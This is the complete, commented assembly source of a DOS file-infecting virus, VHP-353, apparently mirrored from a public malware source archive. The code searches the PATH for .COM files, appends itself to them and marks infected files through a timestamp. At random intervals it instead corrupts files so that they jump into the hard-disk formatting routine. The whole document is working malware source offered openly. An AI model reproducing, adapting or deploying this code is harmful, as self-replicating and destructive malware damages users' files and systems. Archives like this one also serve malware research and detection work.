mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
274 lines
6.2 KiB
NASM
274 lines
6.2 KiB
NASM
|
page ,132
|
|||
|
name VHP_353
|
|||
|
title Virus; based on the famous VHP-648 virus
|
|||
|
.radix 16
|
|||
|
|
|||
|
code segment
|
|||
|
assume cs:code,ds:code
|
|||
|
|
|||
|
org 100
|
|||
|
|
|||
|
environ equ 2C
|
|||
|
|
|||
|
newjmp equ 7Bh ;Code of jmp instruction
|
|||
|
codeptr equ 7A ;Here is formed a jump to the virus code
|
|||
|
pname equ 78 ;Offset of file name in the dir path
|
|||
|
poffs equ 76 ;Offset in the contents of the `PATH' variable
|
|||
|
errhnd equ 74 ;Save place for the old error handler
|
|||
|
fname equ 70 ;Path name to search for
|
|||
|
mydta equ 2C ;DTA for Find First/Next:
|
|||
|
attrib equ 17 ;File attribute
|
|||
|
time equ 16 ;File time
|
|||
|
date equ 14 ;File date
|
|||
|
fsize equ 12 ;File size
|
|||
|
namez equ 0E ;File name found
|
|||
|
|
|||
|
start:
|
|||
|
jmp short begin
|
|||
|
nop
|
|||
|
int 20
|
|||
|
|
|||
|
saveins db 3 dup (90) ;Original first 3 bytes
|
|||
|
|
|||
|
begin:
|
|||
|
call virus ;Detrmine the virus start address
|
|||
|
|
|||
|
data label byte ;Data section
|
|||
|
|
|||
|
allcom db '*.COM',0 ;Filespec to search for
|
|||
|
pathstr db 'PATH='
|
|||
|
|
|||
|
;This replaces the first instruction of a destroyed file.
|
|||
|
;It's a JMP instruction into the hard disk formatting program (IBM XT only):
|
|||
|
|
|||
|
bad_jmp db 0EA,6,0,0,0C8
|
|||
|
|
|||
|
virus:
|
|||
|
pop bx ;Make BX pointed at data
|
|||
|
mov di,offset start ;Push the program true start address
|
|||
|
push di ; onto the stack
|
|||
|
push ax ;Save AX
|
|||
|
|
|||
|
cld
|
|||
|
lea si,[bx+saveins-data] ;Original instruction saved there
|
|||
|
movsw ;Move 2 + 1 bytes
|
|||
|
movsb
|
|||
|
mov si,bx ;Keep SI pointed at data
|
|||
|
|
|||
|
lea bp,[bx+endcode-data+7A] ;Reserve local storage
|
|||
|
|
|||
|
mov ax,3524 ;Get interrupt 24h handler
|
|||
|
int 21 ; and save it in errhnd
|
|||
|
|
|||
|
mov [bp-errhnd],bx
|
|||
|
mov [bp-errhnd+2],es
|
|||
|
|
|||
|
mov ah,25 ;Set interrupt 24h handler
|
|||
|
lea dx,[si+handler-data]
|
|||
|
cmp al,0 ;DOS < 2.0 zeroes AL
|
|||
|
je exit ;Exit if version < 2.0
|
|||
|
push ds
|
|||
|
int 21
|
|||
|
|
|||
|
lea dx,[bp-mydta]
|
|||
|
mov ax,1A00 ;Set DTA
|
|||
|
int 21
|
|||
|
|
|||
|
xor di,di ;Point ES:DI at the environment start
|
|||
|
mov es,ds:[di+environ] ;Environment address
|
|||
|
mov bx,si
|
|||
|
search: ;Search 'PATH' in the environment
|
|||
|
lea si,[bx+pathstr-data]
|
|||
|
mov cx,5 ;5 letters in 'PATH='
|
|||
|
repe cmpsb
|
|||
|
je pfound ;PATH found, continue
|
|||
|
mov ch,80 ;Maximum 32 K in environment
|
|||
|
repne scasb ;If not, skip through next 0
|
|||
|
scasb ;End of environment?
|
|||
|
dec di
|
|||
|
jc search ;If not, retry
|
|||
|
pfound:
|
|||
|
pop es ;Restore ES
|
|||
|
|
|||
|
mov [bp-poffs],di ;Save 'PATH' offset in poffs
|
|||
|
lea di,[bp-fname]
|
|||
|
mov [bp-pname],di
|
|||
|
|
|||
|
filesrch:
|
|||
|
lea si,[bx+allcom-data]
|
|||
|
movsw
|
|||
|
movsw ;Move '*.COM' at fname
|
|||
|
movsw
|
|||
|
mov si,bx ;Restore SI
|
|||
|
|
|||
|
mov ah,4E ;Find first file
|
|||
|
lea dx,[bp-fname]
|
|||
|
mov cl,11b ;Hidden, Read/Only or Normal files
|
|||
|
jmp short findfile
|
|||
|
|
|||
|
checkfile:
|
|||
|
mov al,[bp-time] ;Check file time
|
|||
|
and al,11111b ; (the seconds, more exactly)
|
|||
|
cmp al,62d/2 ;Are they 62?
|
|||
|
|
|||
|
;If so, file is already contains the virus, search for another:
|
|||
|
|
|||
|
je findnext
|
|||
|
|
|||
|
;Is 10 <= file_size <= 64,000 bytes?
|
|||
|
|
|||
|
sub word ptr [bp-fsize],10d
|
|||
|
cmp [bp-fsize],64000d-10d+1
|
|||
|
jc process ;If so, process the file
|
|||
|
|
|||
|
findnext: ;Otherwise find the next file
|
|||
|
mov ah,4F ;Find next file
|
|||
|
findfile:
|
|||
|
int 21
|
|||
|
jnc checkfile ;If found, go chech some conditions
|
|||
|
|
|||
|
nextdir:
|
|||
|
mov si,[bp-poffs] ;Get the offset in the PATH variable
|
|||
|
lea di,[bp-fname] ;Point ES:DI at fname
|
|||
|
mov ds,ds:[environ] ;Point DS:SI at the PATH variable found
|
|||
|
cmp byte ptr [si],0 ;0 means end of PATH
|
|||
|
jnz cpydir
|
|||
|
|
|||
|
olddta:
|
|||
|
mov ax,2524 ;Set interrupt 24h handler
|
|||
|
lds dx,dword ptr [bp-errhnd]
|
|||
|
int 21
|
|||
|
push cs
|
|||
|
pop ds ;Restore DS
|
|||
|
|
|||
|
exit:
|
|||
|
mov ah,1A ;Set DTA
|
|||
|
mov dx,80 ;Restore DTA
|
|||
|
int 21
|
|||
|
|
|||
|
pop ax
|
|||
|
ret ;Go to CS:IP by doing funny RET
|
|||
|
|
|||
|
cpydir:
|
|||
|
lodsb ;Get a char from the PATH variable
|
|||
|
cmp al,';' ;`;' means end of directory
|
|||
|
je enddir
|
|||
|
cmp al,0 ;0 means end of PATH variable
|
|||
|
je enddir
|
|||
|
stosb ;Put the char in fname
|
|||
|
jmp cpydir ;Loop until done
|
|||
|
enddir:
|
|||
|
push cs
|
|||
|
pop ds ;Restore DS
|
|||
|
mov [bp-poffs],si ;Save the new offset in the PATH variable
|
|||
|
mov al,'\' ;Add '\'
|
|||
|
stosb
|
|||
|
mov [bp-pname],di
|
|||
|
jmp filesrch ;And go find the first *.COM file
|
|||
|
|
|||
|
process:
|
|||
|
mov di,dx ;[bp-pname]
|
|||
|
lea si,[bp-namez] ;Point SI at namez
|
|||
|
cpyname:
|
|||
|
lodsb ;Copy name found to fname
|
|||
|
stosb
|
|||
|
cmp al,0
|
|||
|
jne cpyname
|
|||
|
mov si,bx ;Restore SI
|
|||
|
|
|||
|
mov ax,4301 ;Set file attributes
|
|||
|
call clr_cx_dos
|
|||
|
|
|||
|
mov ax,3D02 ;Open file with Read/Write access
|
|||
|
int 21
|
|||
|
jc oldattr ;Exit on error
|
|||
|
mov bx,ax ;Save file handle in BX
|
|||
|
|
|||
|
mov ah,2C ;Get system time
|
|||
|
int 21
|
|||
|
and dh,111b ;Are seconds a multiple of 8?
|
|||
|
jnz infect ;If not, contaminate file (don't destroy):
|
|||
|
|
|||
|
;Destroy file by rewriting the first instruction:
|
|||
|
|
|||
|
mov cx,5 ;Write 5 bytes
|
|||
|
lea dx,[si+bad_jmp-data] ;Write THESE bytes
|
|||
|
jmp short do_write ;Do it
|
|||
|
|
|||
|
;Try to contaminate file:
|
|||
|
|
|||
|
;Read first instruction of the file (first 3 bytes) and save it in saveins:
|
|||
|
|
|||
|
infect:
|
|||
|
mov ah,3F ;Read from file handle
|
|||
|
mov cx,3 ;Read 3 bytes
|
|||
|
lea dx,[si+saveins-data] ;Put them there
|
|||
|
call dos_rw
|
|||
|
jc oldtime ;Exit on error
|
|||
|
|
|||
|
;Move file pointer to end of file:
|
|||
|
|
|||
|
mov ax,4202 ;LSEEK from end of file
|
|||
|
call clr_dx_cx_dos
|
|||
|
|
|||
|
mov [bp-codeptr],ax ;Save result in codeptr
|
|||
|
|
|||
|
mov cx,endcode-saveins ;Virus code length as bytes to be written
|
|||
|
lea dx,[si+saveins-data] ;Write from saveins to endcode
|
|||
|
call dos_write ;Write to file handle
|
|||
|
jc oldtime ;Exit on error
|
|||
|
|
|||
|
call lseek ;LSEEK to the beginning of the file
|
|||
|
|
|||
|
;Rewrite the first instruction of the file with a jump to the virus code:
|
|||
|
|
|||
|
mov cl,3 ;3 bytes to write
|
|||
|
lea dx,[bp-newjmp] ;Write THESE bytes
|
|||
|
do_write:
|
|||
|
call dos_write ;Write to file handle
|
|||
|
|
|||
|
oldtime:
|
|||
|
mov dx,[bp-date] ;Restore file date
|
|||
|
mov cx,[bp-time] ; and time
|
|||
|
or cl,11111b ;Set seconds to 62 (the virus' marker)
|
|||
|
|
|||
|
mov ax,5701 ;Set file date & time
|
|||
|
int 21
|
|||
|
mov ah,3E ;Close file handle
|
|||
|
int 21
|
|||
|
|
|||
|
oldattr:
|
|||
|
mov ax,4301 ;Set file attributes
|
|||
|
mov cx,[bp-attrib] ;They were saved in attrib
|
|||
|
and cx,3F
|
|||
|
lea dx,[bp-fname]
|
|||
|
int 21 ;Do it
|
|||
|
jmp olddta ;And exit
|
|||
|
|
|||
|
lseek:
|
|||
|
mov ax,4200 ;LSEEK from the beginning of the file
|
|||
|
clr_dx_cx_dos:
|
|||
|
xor dx,dx ;From the very beginning
|
|||
|
clr_cx_dos:
|
|||
|
xor cx,cx ;Auxiliary entry point
|
|||
|
db 3Dh ;Trick
|
|||
|
dos_write:
|
|||
|
mov ah,40 ;Write to file handle
|
|||
|
dos_rw:
|
|||
|
int 21
|
|||
|
jc dos_ret ;Exit on error
|
|||
|
cmp ax,cx ;Set CF if AX < CX
|
|||
|
dos_ret:
|
|||
|
ret
|
|||
|
|
|||
|
handler: ;Critical error handler
|
|||
|
mov al,0 ;Just ignore the error
|
|||
|
iret ; and return
|
|||
|
|
|||
|
db 0E9 ;The JMP opcode
|
|||
|
|
|||
|
endcode label byte
|
|||
|
|
|||
|
code ends
|
|||
|
end start
|
|||
|
|